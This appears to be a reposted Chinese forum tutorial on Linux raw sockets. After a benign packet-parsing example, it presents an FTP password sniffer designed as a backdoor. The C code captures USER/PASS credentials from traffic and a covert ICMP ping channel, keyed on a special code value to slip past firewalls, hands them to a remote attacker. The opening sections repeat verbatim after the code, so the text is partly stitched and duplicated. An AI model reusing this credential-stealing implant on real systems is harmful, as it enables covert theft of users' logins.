raw socket介紹


原文: http://bbs.chinaunix.net/forum.php?mod=viewthread&tid=876233

1.原始套接字(raw socket)

1.1 原始套接字工作原理與規則

原始套接字是一個特殊的套接字類型,它的創建方式跟TCP/UDP創建方法幾乎是一摸一樣,例如,通過

int sockfd;
sockfd = socktet(AF_INETSOCK_RAWIPPROTO_ICMP);

這兩句程序你就可以創建一個原始套接字.然而這種類型套接字的功能卻與TCP或者UDP類型套接字的功能有很大的不同:TCP/UDP類型的套接字只能夠訪問傳輸層以及傳輸層以上的數據,因為當IP層把數據傳遞給傳輸層時,下層的數據包頭已經被丟掉了.而原始套接字卻可以訪問傳輸層以下的數據,所以使用raw套接字你可以實現上至應用層的數據操作,也可以實現下至鏈路層的數據操作.

比如:通過

sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))

方式創建的raw socket就能直接讀取鏈路層的數據.

使用原始套接字時應該注意的問題

(參考<<unix網絡編程>>以及網上的優秀文檔)

  1. 對於UDP/TCP產生的IP數據包,內核不將它傳遞給任何原始套接字,而只是將這些數據交給對應的UDP/TCP數據處理句柄(所以,如果你想要通過原始套接字來訪問TCP/UDP或者其它類型的數據,調用socket函數創建原始套接字第三個參數應該指定為htons(ETH_P_IP),也就是通過直接訪問數據鏈路層來實現.(我們后面的密碼竊取器就是基於這種類型的).

  2. 對於ICMP和EGP等使用IP數據包承載數據但又在傳輸層之下的協議類型的IP數據包,內核不管是否已經有注冊了的句柄來處理這些數據,都會將這些IP數據包復制一份傳遞給協議類型匹配的原始套接字.

  3. 對於不能識別協議類型的數據包,內核進行必要的校驗,然后會查看是否有類型匹配的原始套接字負責處理這些數據,如果有的話,就會將這些IP數據包復制一份傳遞給匹配的原始套接字,否則,內核將會丟棄這個IP數據包,並返回一個ICMP主機不可達的消息給源主機.

  4. 如果原始套接字bind綁定了一個地址,核心只將目的地址為本機IP地址的數包傳遞給原始套接字,如果某個原始套接字沒有bind地址,核心就會把收到的所有IP數據包發給這個原始套接字.

  5. 如果原始套接字調用了connect函數,則核心只將源地址為connect連接的IP地址的IP數據包傳遞給這個原始套接字.

  6. 如果原始套接字沒有調用bind和connect函數,則核心會將所有協議匹配的IP數據包傳遞給這個原始套接字.

編程選項

原始套接字是直接使用IP協議的非面向連接的套接字,在這個套接字上可以調用bind和connect函數進行地址綁定.說明如下:

  1. bind函數:調用bind函數后,發送數據包的源IP地址將是bind函數指定的地址。如是不調用bind,則內核將以發送接口的主IP地址填充IP頭. 如果使用setsockopt設置了IP_HDRINCL(header including)選項,就必須手工填充每個要發送的數據包的源IP地址,否則,內核將自動創建IP首部.

  2. connetc函數:調用connect函數后,就可以使用write和send函數來發送數據包,而且內核將會用這個綁定的地址填充IP數據包的目的IP地址,否則的話,則應使用sendto或sendmsg函數來發送數據包,並且要在函數參數中指定對方的IP地址。

綜合以上種種功能和特點,我們可以使用原始套接字來實現很多功能,比如最基本的數據包分析,主機嗅探等.其實也可以使用原始套接字作一個自定義的傳輸層協議.

1.2 一個簡單的應用

下面的代碼創建一個直接讀取鏈路層數據包的原始套接字,並從中分析出源MAC地址和目的MAC地址,源IP和目的IP,以及對應的傳輸層協議,如果是TCP/UDP協議的話,打印其目的和源端口.為了方便閱讀,程序中避免了使用任何與協議有關的數據結構,如
struct ether_header ,struct iphdr 等,當然, 要完全理解代碼,你需要關於指針以及位運算的知識

/*************************************************************************
 > File Name: format.c
 > Author: duanjigang@2006s
 > Mail: ngkimbing@foxmail.com
 > Created Time: Sat 14 Mar 2020 10:56:59 PM CST
 ************************************************************************/
#include <linux/if_ether.h>
#include <linux/in.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define BUFFER_MAX 2048
 
int main(int argc, char *argv[]) {
 int sock, n_read, proto;
 char buffer[BUFFER_MAX];
 char *ethhead, *iphead, *tcphead, *udphead, *icmphead, *p;
 
 if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0) {
 fprintf(stdout, "create socket error\n");
 exit(0);
 }
 
 while (1) {
 n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
 /*
 14 6(dest)+6(source)+2(type or length)
 +
 20 ip header
 +
 8 icmp,tcp or udp header
 = 42
 */
 if (n_read < 42) {
 fprintf(stdout, "Incomplete header, packet corrupt\n");
 continue;
 }
 
 ethhead = buffer;
 p = ethhead;
 int n = 0XFF;
 printf("MAC: %.2X:%02X:%02X:%02X:%02X:%02X==>"
 "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X\n",
 p[6] & n, p[7] & n, p[8] & n, p[9] & n, p[10] & n, p[11] & n,
 p[0] & n, p[1] & n, p[2] & n, p[3] & n, p[4] & n, p[5] & n);
 
 iphead = ethhead + 14;
 p = iphead + 12;
 
 printf("IP: %d.%d.%d.%d => %d.%d.%d.%d\n", p[0] & 0XFF, p[1] & 0XFF,
 p[2] & 0XFF, p[3] & 0XFF, p[4] & 0XFF, p[5] & 0XFF, p[6] & 0XFF,
 p[7] & 0XFF);
 proto = (iphead + 9)[0];
 p = iphead + 20;
 printf("Protocol: ");
 switch (proto) {
 case IPPROTO_ICMP: printf("ICMP\n"); break;
 case IPPROTO_IGMP: printf("IGMP\n"); break;
 case IPPROTO_IPIP: printf("IPIP\n"); break;
 case IPPROTO_TCP:
 case IPPROTO_UDP:
 printf("%s,", proto == IPPROTO_TCP ? "TCP" : "UDP");
 printf("source port: %u,", (p[0] << 8) & 0XFF00 | p[1] & 0XFF);
 printf("dest port: %u\n", (p[2] << 8) & 0XFF00 | p[3] & 0XFF);
 break;
 case IPPROTO_RAW: printf("RAW\n"); break;
 default: printf("Unkown, please query in include/linux/in.h\n");
 }
 }
}

2 FTP密碼嗅探器實現

注意:本部分的實現,采用了系統定義的一些數據結構,如鏈路層頭結構體,網絡層頭結構體,以及TCP.UDP,ICMP頭等結構體,正好對上一個例子是一個補充,同時,在程序中操作起來也更方便一些,當然,你必須知道每個數據結構的意思,與數據包頭中的各項是如何對應的,還有,在下面的程序中,我們使用單鏈表存儲收集到的用戶名與密碼,所以,你應該必須熟悉單鏈表的操作,如插入節點和刪除節點等,最后,你最好能夠很熟練的使用FTP命令,這樣才能很好的理解本文的代碼和要點.(對了,你還得明白校驗和是做什么用的,以及它的計算方法)為了方便理解,我在文中添加了一個簡單的數據包分層圖,如下

 ================================================================
 | | | | |
 | 鏈路層頭 | IP報文頭 | 傳輸層報文頭 | 應用層數據 |
 | | | | |
 -===============================================================
 

2.1設計思路

在網上看到有好多sniffer的設計思路,有些確實講的很不錯,但是卻很少發現有完整的作出來一個實例的(也許是偶孤陋寡聞沒找見),正好想起來<<Hacking the Linux Kernel Network Stack>>中有這么一個實例,那篇主要是講netfilter的,在模塊里面實現數據的過濾,竊取用戶名和密碼,於是我便把那個故事搬過來,用原始套接字去實現,而且遠程竊取密碼的方法同樣使用的是令人洋洋得意的思路–構造一個偽ping包來ping已經被植入后門程序的主機,后門程序在收到特殊的ping包之后,會講密碼嵌入到特殊的ping返回消息中,從而完成密碼的運輸.不同之處在於返回密碼時采用的方法,本文中創建了一個ICMP類型的raw socket作為ICMP echo request 消息的echo reply消息返回,雖然較之前文的方法有些遜色,但是卻相當提供了一個完整的ping程序,你可以稍加修改就做出自己的ping來.而且在對協議類型進行判斷的Switch分支中,你可以繼續添加自己的處理方法,比如SNMP的162UDP端口或者其他協議的分析.
程序的運行過程:

首先我們會創建一個接收鏈路層的原始套接字,之所以創建鏈路層的原始套接字,原因有:

  1. 出於教學目的,我們盡力去分析數據包中盡可能多的信息,所以從鏈路層抓起,逐層提取信息.
  2. FTP是基於TCP協議的應用層協議,所以我們要能從傳輸層區分出TCP包和UDP包,但是,前面的規則已經講到了,對於UDP或者TCP產生的IP層數據包,內核將不會把它傳遞給任何原始套接字,而是交給對應的TCP/UDP處理函數,要能夠讓原始套接字接收UDP和TCP產生的IP數據包,或者說接收傳輸層的UDP和TCP類型的數據,所創建的原始套接字必須為ETH_P_IP類型的,在程序里面體現出來就是將第三個參數指定為找個值.

在套接字創建成功之后,我們的程序就在系統中注冊了一塊數據結構,並且內核中對於所有的原始套接字都有一個維護列表的,在收到網絡上的數據時,內核會跟據條件將收到的數據復制一份交給注冊了這個套接字的程序去處理.
所以,如果系統緩存中如果已經有了數據,我們調用的recvfrom函數將會返回,可能讀取失敗,也可能滿載而歸,攜帶了足夠多的數據供我們的程序進行處理.

為了防止收到的數據有差錯,我們進行必要的檢驗,作為數據包來說,鏈路層占了14個字節的空間,6個自己源地址,6個字節是目的地址,2個字節作為類型碼,接下來是IP層的頭信息,由於找個層的頭信息包含的項比較多,所以不進行一一的分析,IP層至少戰局20個字節的空間,下來就是傳輸層的頭信息了,在不去分UDP/TCP或者ICMP的情況下,我們可以看到,傳輸層的頭信息至少應該包括8個字節,所以,我們要檢驗讀到的數據包大小是否超過了最基本的數據包頭的大小,如果沒有的話,說明數據包有誤,我們將其丟棄,重新接收.

下來的處理就采用跟上面的例子一樣的模式,先去除鏈路層的14個字節,接着找出網絡層的頭,從IP頭中提取協議類型字段,如果是TCP協議,則進行分析,從中查找可能的用戶名和密碼對,由於FTP使用明文傳送,而且傳送用戶名時的格式為USER <用戶名>,傳送密碼時的格式為PASS <密碼>,所以我們可以從中分析這兩個關鍵字符串,然后從中提取用戶姓名和登陸密碼,一旦提取成功就將這一對信息加入到鏈表中存儲起來,等待遠程主機來索取;如果協議類型是ICMP的話,我們就要注意了,因為我們的遠程主機發送的取密碼的數據包就是以ICMP包的格式偽裝起來的,它具有一般的ICMP包的格式,並且在ICMP包的type字段填入了ICMP_ECHO這個值,表示ping的回顯請求,所以操作系統會認為是一個一般的ping消息,將它交給協議棧去處理,然而此時我們的后門程序已經在這個主機上運行了,如果它能夠發現這個偽裝的ICMP消息的話,就可以通過構造一個ICMP回顯應答的消息將它采集到的關於這台主機的信息發送出去,那樣就實現了遠程信息獲取的功能.

注意到ICMP消息中有兩個字段,一個是type,一個是code,我們已經知道了,如果type為ICMP_ECHO,則標識這是一個回顯請求,如果type為ICMP_ECHOREPLY的話,則說明是一個回顯應答,但是code有什么作用呢?默認的ping程序中code字段都是0,但是在實際中我發現,如果你將code字段設置為其他非0值,而只要type字段設置為ICMP_ECHO的話,也會被操作系統認為是一個ping回顯請求,它馬上會給你發送一個應答.所以,如果防火牆沒有對code字段做檢測的話,我們就可以利用code來做文章:遠程主機自己構造一個ICMP_ECHO的包,在code字段填入事先約定好的特殊值,以便於后門程序能夠認出它,並且不會被操作系統和防火牆當作不速之客拒之門外,當后門程序從千千萬萬的數據包中檢測出一個這樣的特殊包時,它知道遠程的主人下命令了,要求它返回可能竊取到的用戶名和密碼,后門程序就會自己構造一個ICMP_ECHOREPLY的數據包,如果已經存儲了有效的數據的話,它取出一對數據填入這個應答包中(是一定要注意,這個回顯應答的包不能太大,以免被警覺的管理員所采取的防火牆規則阻擋住,這樣我們的后門程序就會功虧於潰),然后再加上一個特殊的標志位,發送出去.而這個特殊的標志位也同樣是ICMP中的code字段,這樣做是為了遠程主機能夠從千千萬萬的回顯應答中找到自己心儀的那一個應答數據包,從而得到竊取的信息.如果后門程序沒有采集到密碼對,則會發送一個事先約定好的無效用戶名和密碼給遠程主機,告訴它,暫時還沒有有效的數據,請不要再索取了.

另外,在程序中我們的原則是,每次回顯應答帶走一對用戶名和密碼,所以,如果某個用戶正在遠端使用虛假的ping程序呼喚密碼的話,他可以一直執行這個發送偽裝Ping包的程序,每次都能獲取到一對用戶名和密碼,直到出現無效值,說明數據已經傳送完畢.
這就是整個程序的大體的運行過程.

下面我再就實際實現與測試時出現的問題進行一些說明,這些問題也是在實現這個嗅探器的過程中困擾我最久的,好多問題都是想了幾天后類忽然發現原因的,呵呵,我已經飽受這些煎熬,所以如果你注意一下下面討論的問題,在運行程序時就不會遇到這么多麻煩的.

我們的程序是一個單線程的監聽程序,每到一個TCP包,就從中查找USER或者PASS字段,如果找到的話,就取出它后面的值,認為是用戶名或者密碼,然后存儲起來.但是會有一下情況發生.

情況(1)
如果我們的程序啟動時,用戶名已經傳送過了,而我們僅僅捕捉到了PASS的值,這個時候如果一直去等USER出現的話,就會出現差錯,你可以想象一下,如果我們取到了用戶A的登陸密碼為PASSA,而沒有得到它的用戶名,我們的程序卻在等待USER的出現,如果在某個時候USER出現了,很顯然,這是新連接的登陸用戶名,跟上一次存儲的密碼不屬於一次會話的數據,即使我們拿到了這個用戶名和密碼,也只是上一個用戶登陸的密碼和這一個用戶登陸的姓名,這樣拿到了也沒用,除非是特殊情況的出現,即同一個用戶連着登陸多次,那么,瞎貓碰着死耗子,我們得到了正確的數據,但是我們希望盡可能去獲取一次會話中的用戶名和密碼對,所以,嗅探的原則是,如果沒有用戶名,就不存儲密碼.

情況(2)
考慮再細致點,想想多用戶同時登陸的情況,假設 thatday已經連接上FTP服務器,並且鍵入了用戶名 thatday發送給FTP服務器,這個時候我們的程序也應該在FTP服務器上獲取到了用戶名thatday, 忽然thatday收到他GF打來的電話,便忘記了輸入密碼,開始跟他mm聊天,這個時候 肥肥 也去登陸,他鍵入用戶名FatFighterM,發送出去,於是我們的程序發現又有一個叫做FatFighterM的用戶名被傳過來了,但是此時程序的任務是等待一個密碼,如果直接丟棄FatFighterM這個用戶名不管,並且繼續等待對應thatday的密碼的話,可能會出現如下差錯:thatday還在聊天,肥肥當仁不讓的輸入密碼,並且登陸成功,開始工作,可我們的傻瓜程序卻會以為這是thatday的密碼,將這視為一對,存儲起來,但是這樣的數據是沒有用的,根本就不匹配!

也許你會說,那就這樣吧,如果有新來的用戶名,就丟棄先采集到的用戶名,存儲后來的用戶名,這不就行了?這樣也會有問題,如果肥肥在輸入用戶名后也接到了老婆的電話,然后他就離開座位聊起天來,當然還沒有輸入密碼(他可能認為保持半登陸狀態比輸入密碼登陸成功后離開座位更安全),這個時候thatday聊天結束,他輸入自己的密碼,發給服務器,但是這個時候我們的程序存儲的用戶名卻是肥肥的名字, 然后卻又收到了thatday的密碼,所以同樣做了無用功.因此,還需要進行更多的控制.

當然,FTP服務器是不會出這種錯誤的,因為它會為每個登陸過程開一個單獨的會話,但是我們的單線程程序卻會遇到這些問題,試想,如果我們給每個密碼對加上源IP地址進行匹配,這個問題是不是就可以解決了,對,這樣就可以解決問題了.我們可以這樣做,每來一個用戶名,就記下這個數據包的源IP和源端口,如果下次來的PASS的源IP和端口跟已經存儲的用戶名和密碼一致的話,就認為是一對,而且還繼續以前的規定,沒有用戶名之前不存儲密碼.因為不同的客戶機,源IP地址肯定不同,所以可以根據IP地址來區分不通主機的連接,而對於同一台機子上的不通用戶,他們的源IP當然是相同的了,我們只有根據它的源端口進行區分了.

如果以上說得都做到了我們就可以獲取到密碼了.
下來,該討論取密碼是應該注意的問題了.

首先說說嗅探器端,既然我們創建了一個原始套接字並且從找個套接字讀到了ping請求,好像順理成章的我們就應改把密碼對通過這個發回遠程主機,但是我在嘗試了N次之后

始終沒有成功,一個可能的原則是"鏈路層的原始套接字不能直接自己填充鏈路層頭信息並將數據發送出去",不知道這個說法正確不?期待專家的回復.因為我一開始的想法就是直接將這個數據包的源MAC和目的MAC互換,IP互換,端口互換,並希望能直接利用原來的套接字發送回去,但是最終還是沒能成功,但是我認為,這是最好的做法了.最后只好委屈求全,再次創建一個原始套接字,類型為IPPROTO_ICMP,跟自己寫ping程序一樣,寫了一段簡單的ping echo reply的代碼,用新的套接字將密碼發回,這個實在是一個巨大的暇疵!

嗅探端已經完畢,接着看遠程的命令端,我一開始就使用<<Hacking the Linux Kernel Network Stack>>中的那個命令端程序,結果偽裝包是發送成功了,可是讀取到的數據老是錯誤,用戶名和密碼總是空的,折騰了2天,這天,細心的同事忽然告訴我說你收到的消息好像跟發送的一摸一樣,這時才發現了問題所在,在原來的代碼中,作者只讀取一次就成功了,而在我得程序里,第一次read到的ICMP消息居然是自己發送出去的原封不動,關於這個原因我還沒有思考清楚,只覺得可能是由於同一台機子測試引起的,並沒有做太多的分析,希望專家給出更科學的說法!然后就增加條件,如果返回的type是ICMP_ECHO的話就扔掉,結果發現這次讀到了ICMP_ECHOREPLY,用戶名和密碼還是錯的,一想,原來是收到了系統返回的ping應答消息,最終的原則就是,當收到的ICMP消息是ICMP_ECHOREPLY時並且code字段為嗅探器所填的特殊值時,才進行處理,終於能夠正確的運行起來.

由於論壇字符上限的原因,在次只貼出了部分代碼,並且刪除了注視,完整的代碼作為附件上傳上來吧.

int main(int argc, char *argv[]) {
 int sock, n_read;
 struct ether_header *etherh;
 struct iphdr * iph;
 char buffer[BUFFER_MAX];
 /*create a raw socekt to sniffer all messages*/
 if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0) {
 exit(errno);
 }
 while (1) {
 n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
 /*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/
 if (n_read < 42) {
 continue;
 }
 /* get ethernet header */
 etherh = (struct ether_header *)buffer;
 /* get ip header */
 iph = (struct iphdr *)(etherh + 1);
 
 switch (iph->protocol) {
 case IPPROTO_TCP: CheckTCP(iph); break;
 case IPPROTO_ICMP:
 if (MagicICMP(iph)) {
 SendData(etherh, n_read);
 }
 break;
 case IPPROTO_UDP:
 case IPPROTO_IGMP:
 default: break;
 }
 }
}
int CheckTCP(const struct iphdr *ipheader) {
 if (!ipheader) {
 return 0;
 }
 int i = 0;
 /* get tcp head */
 struct tcphdr *tcpheader = (struct tcphdr *)(ipheader + 1);
 /* get data region of the tcp packet */
 char *data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));
 if (username && target_port && target_ip) {
 if (ipheader->daddr != target_ip || tcpheader->source != target_port) {
 /*a new loading, we need to reset our sniffer */
 if (strncmp(data, "USER ", 5) == 0) {
 Reset();
 }
 }
 }
 if (strncmp(data, "USER ", 5) == 0) {
 data += 5;
 i = 0;
 if (username) {
 return 0;
 }
 char *p = data + i;
 /*the data always end with LR */
 while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15) {
 i++;
 p++;
 }
 if ((username = (char *)malloc(i + 2)) == NULL) {
 return 0;
 }
 memset(username, 0x00, i + 2);
 memcpy(username, data, i);
 *(username + i) = '\0';
 }
 else if (strncmp(data, "PASS ", 5) == 0) {
 data += 5;
 i = 0;
 if (username == NULL) {
 return 0;
 }
 if (password) {
 return 0;
 }
 char *p = data;
 
 while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15) {
 i++;
 p++;
 }
 if ((password = (char *)malloc(i + 2)) == NULL) {
 return 0;
 }
 memset(password, 0x00, i + 2);
 memcpy(password, data, i);
 *(password + i) = '\0';
 }
 else if (strncmp(data, "QUIT", 4) == 0) {
 Reset();
 }
 if (!target_ip && !target_port && username) {
 target_ip = ipheader->saddr;
 target_port = tcpheader->source;
 }
 if (username && password) {
 have_pair++;
 }
 if (have_pair) {
 struct node node;
 node.ip = target_ip;
 snprintf(node.Name, 15, "%s", username);
 snprintf(node.PassWord, 15, "%s", password);
 AddNode(&node);
 Reset();
 }
 return 1;
}

1.原始套接字(raw socket)

1.1 原始套接字工作原理與規則

原始套接字是一個特殊的套接字類型,它的創建方式跟TCP/UDP創建方法幾乎是一摸一樣,例如,通過

int sockfd;
sockfd = socktet(AF_INETSOCK_RAWIPPROTO_ICMP);

這兩句程序你就可以創建一個原始套接字.然而這種類型套接字的功能卻與TCP或者UDP類型套接字的功能有很大的不同:TCP/UDP類型的套接字只能夠訪問傳輸層以及傳輸層以上的數據,因為當IP層把數據傳遞給傳輸層時,下層的數據包頭已經被丟掉了.而原始套接字卻可以訪問傳輸層以下的數據,所以使用raw套接字你可以實現上至應用層的數據操作,也可以實現下至鏈路層的數據操作.

比如:通過

sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))

方式創建的raw socket就能直接讀取鏈路層的數據.

使用原始套接字時應該注意的問題

(參考<<unix網絡編程>>以及網上的優秀文檔)

  1. 對於UDP/TCP產生的IP數據包,內核不將它傳遞給任何原始套接字,而只是將這些數據交給對應的UDP/TCP數據處理句柄(所以,如果你想要通過原始套接字來訪問TCP/UDP或者其它類型的數據,調用socket函數創建原始套接字第三個參數應該指定為htons(ETH_P_IP),也就是通過直接訪問數據鏈路層來實現.(我們后面的密碼竊取器就是基於這種類型的).

  2. 對於ICMP和EGP等使用IP數據包承載數據但又在傳輸層之下的協議類型的IP數據包,內核不管是否已經有注冊了的句柄來處理這些數據,都會將這些IP數據包復制一份傳遞給協議類型匹配的原始套接字.

  3. 對於不能識別協議類型的數據包,內核進行必要的校驗,然后會查看是否有類型匹配的原始套接字負責處理這些數據,如果有的話,就會將這些IP數據包復制一份傳遞給匹配的原始套接字,否則,內核將會丟棄這個IP數據包,並返回一個ICMP主機不可達的消息給源主機.

  4. 如果原始套接字bind綁定了一個地址,核心只將目的地址為本機IP地址的數包傳遞給原始套接字,如果某個原始套接字沒有bind地址,核心就會把收到的所有IP數據包發給這個原始套接字.

  5. 如果原始套接字調用了connect函數,則核心只將源地址為connect連接的IP地址的IP數據包傳遞給這個原始套接字.

  6. 如果原始套接字沒有調用bind和connect函數,則核心會將所有協議匹配的IP數據包傳遞給這個原始套接字.

編程選項

原始套接字是直接使用IP協議的非面向連接的套接字,在這個套接字上可以調用bind和connect函數進行地址綁定.說明如下:

  1. bind函數:調用bind函數后,發送數據包的源IP地址將是bind函數指定的地址。如是不調用bind,則內核將以發送接口的主IP地址填充IP頭. 如果使用setsockopt設置了IP_HDRINCL(header including)選項,就必須手工填充每個要發送的數據包的源IP地址,否則,內核將自動創建IP首部.

  2. connetc函數:調用connect函數后,就可以使用write和send函數來發送數據包,而且內核將會用這個綁定的地址填充IP數據包的目的IP地址,否則的話,則應使用sendto或sendmsg函數來發送數據包,並且要在函數參數中指定對方的IP地址。

綜合以上種種功能和特點,我們可以使用原始套接字來實現很多功能,比如最基本的數據包分析,主機嗅探等.其實也可以使用原始套接字作一個自定義的傳輸層協議.

1.2 一個簡單的應用

下面的代碼創建一個直接讀取鏈路層數據包的原始套接字,並從中分析出源MAC地址和目的MAC地址,源IP和目的IP,以及對應的傳輸層協議,如果是TCP/UDP協議的話,打印其目的和源端口.為了方便閱讀,程序中避免了使用任何與協議有關的數據結構,如
struct ether_header ,struct iphdr 等,當然, 要完全理解代碼,你需要關於指針以及位運算的知識

/*************************************************************************
 > File Name: format.c
 > Author: duanjigang@2006s
 > Mail: ngkimbing@foxmail.com
 > Created Time: Sat 14 Mar 2020 10:56:59 PM CST
 ************************************************************************/
#include <linux/if_ether.h>
#include <linux/in.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define BUFFER_MAX 2048
 
int main(int argc, char *argv[]) {
 int sock, n_read, proto;
 char buffer[BUFFER_MAX];
 char *ethhead, *iphead, *tcphead, *udphead, *icmphead, *p;
 
 if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0) {
 fprintf(stdout, "create socket error\n");
 exit(0);
 }
 
 while (1) {
 n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
 /*
 14 6(dest)+6(source)+2(type or length)
 +
 20 ip header
 +
 8 icmp,tcp or udp header
 = 42
 */
 if (n_read < 42) {
 fprintf(stdout, "Incomplete header, packet corrupt\n");
 continue;
 }
 
 ethhead = buffer;
 p = ethhead;
 int n = 0XFF;
 printf("MAC: %.2X:%02X:%02X:%02X:%02X:%02X==>"
 "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X\n",
 p[6] & n, p[7] & n, p[8] & n, p[9] & n, p[10] & n, p[11] & n,
 p[0] & n, p[1] & n, p[2] & n, p[3] & n, p[4] & n, p[5] & n);
 
 iphead = ethhead + 14;
 p = iphead + 12;
 
 printf("IP: %d.%d.%d.%d => %d.%d.%d.%d\n", p[0] & 0XFF, p[1] & 0XFF,
 p[2] & 0XFF, p[3] & 0XFF, p[4] & 0XFF, p[5] & 0XFF, p[6] & 0XFF,
 p[7] & 0XFF);
 proto = (iphead + 9)[0];
 p = iphead + 20;
 printf("Protocol: ");
 switch (proto) {
 case IPPROTO_ICMP: printf("ICMP\n"); break;
 case IPPROTO_IGMP: printf("IGMP\n"); break;
 case IPPROTO_IPIP: printf("IPIP\n"); break;
 case IPPROTO_TCP:
 case IPPROTO_UDP:
 printf("%s,", proto == IPPROTO_TCP ? "TCP" : "UDP");
 printf("source port: %u,", (p[0] << 8) & 0XFF00 | p[1] & 0XFF);
 printf("dest port: %u\n", (p[2] << 8) & 0XFF00 | p[3] & 0XFF);
 break;
 case IPPROTO_RAW: printf("RAW\n"); break;
 default: printf("Unkown, please query in include/linux/in.h\n");
 }
 }
}

2 FTP密碼嗅探器實現

注意:本部分的實現,采用了系統定義的一些數據結構,如鏈路層頭結構體,網絡層頭結構體,以及TCP.UDP,ICMP頭等結構體,正好對上一個例子是一個補充,同時,在程序中操作起來也更方便一些,當然,你必須知道每個數據結構的意思,與數據包頭中的各項是如何對應的,還有,在下面的程序中,我們使用單鏈表存儲收集到的用戶名與密碼,所以,你應該必須熟悉單鏈表的操作,如插入節點和刪除節點等,最后,你最好能夠很熟練的使用FTP命令,這樣才能很好的理解本文的代碼和要點.(對了,你還得明白校驗和是做什么用的,以及它的計算方法)為了方便理解,我在文中添加了一個簡單的數據包分層圖,如下

 ================================================================
 | | | | |
 | 鏈路層頭 | IP報文頭 | 傳輸層報文頭 | 應用層數據 |
 | | | | |
 -===============================================================
 

2.1設計思路

在網上看到有好多sniffer的設計思路,有些確實講的很不錯,但是卻很少發現有完整的作出來一個實例的(也許是偶孤陋寡聞沒找見),正好想起來<<Hacking the Linux Kernel Network Stack>>中有這么一個實例,那篇主要是講netfilter的,在模塊里面實現數據的過濾,竊取用戶名和密碼,於是我便把那個故事搬過來,用原始套接字去實現,而且遠程竊取密碼的方法同樣使用的是令人洋洋得意的思路–構造一個偽ping包來ping已經被植入后門程序的主機,后門程序在收到特殊的ping包之后,會講密碼嵌入到特殊的ping返回消息中,從而完成密碼的運輸.不同之處在於返回密碼時采用的方法,本文中創建了一個ICMP類型的raw socket作為ICMP echo request 消息的echo reply消息返回,雖然較之前文的方法有些遜色,但是卻相當提供了一個完整的ping程序,你可以稍加修改就做出自己的ping來.而且在對協議類型進行判斷的Switch分支中,你可以繼續添加自己的處理方法,比如SNMP的162UDP端口或者其他協議的分析.
程序的運行過程:

首先我們會創建一個接收鏈路層的原始套接字,之所以創建鏈路層的原始套接字,原因有:

  1. 出於教學目的,我們盡力去分析數據包中盡可能多的信息,所以從鏈路層抓起,逐層提取信息.
  2. FTP是基於TCP協議的應用層協議,所以我們要能從傳輸層區分出TCP包和UDP包,但是,前面的規則已經講到了,對於UDP或者TCP產生的IP層數據包,內核將不會把它傳遞給任何原始套接字,而是交給對應的TCP/UDP處理函數,要能夠讓原始套接字接收UDP和TCP產生的IP數據包,或者說接收傳輸層的UDP和TCP類型的數據,所創建的原始套接字必須為ETH_P_IP類型的,在程序里面體現出來就是將第三個參數指定為找個值.

在套接字創建成功之后,我們的程序就在系統中注冊了一塊數據結構,並且內核中對於所有的原始套接字都有一個維護列表的,在收到網絡上的數據時,內核會跟據條件將收到的數據復制一份交給注冊了這個套接字的程序去處理.
所以,如果系統緩存中如果已經有了數據,我們調用的recvfrom函數將會返回,可能讀取失敗,也可能滿載而歸,攜帶了足夠多的數據供我們的程序進行處理.

為了防止收到的數據有差錯,我們進行必要的檢驗,作為數據包來說,鏈路層占了14個字節的空間,6個自己源地址,6個字節是目的地址,2個字節作為類型碼,接下來是IP層的頭信息,由於找個層的頭信息包含的項比較多,所以不進行一一的分析,IP層至少戰局20個字節的空間,下來就是傳輸層的頭信息了,在不去分UDP/TCP或者ICMP的情況下,我們可以看到,傳輸層的頭信息至少應該包括8個字節,所以,我們要檢驗讀到的數據包大小是否超過了最基本的數據包頭的大小,如果沒有的話,說明數據包有誤,我們將其丟棄,重新接收.

下來的處理就采用跟上面的例子一樣的模式,先去除鏈路層的14個字節,接着找出網絡層的頭,從IP頭中提取協議類型字段,如果是TCP協議,則進行分析,從中查找可能的用戶名和密碼對,由於FTP使用明文傳送,而且傳送用戶名時的格式為USER <用戶名>,傳送密碼時的格式為PASS <密碼>,所以我們可以從中分析這兩個關鍵字符串,然后從中提取用戶姓名和登陸密碼,一旦提取成功就將這一對信息加入到鏈表中存儲起來,等待遠程主機來索取;如果協議類型是ICMP的話,我們就要注意了,因為我們的遠程主機發送的取密碼的數據包就是以ICMP包的格式偽裝起來的,它具有一般的ICMP包的格式,並且在ICMP包的type字段填入了ICMP_ECHO這個值,表示ping的回顯請求,所以操作系統會認為是一個一般的ping消息,將它交給協議棧去處理,然而此時我們的后門程序已經在這個主機上運行了,如果它能夠發現這個偽裝的ICMP消息的話,就可以通過構造一個ICMP回顯應答的消息將它采集到的關於這台主機的信息發送出去,那樣就實現了遠程信息獲取的功能.

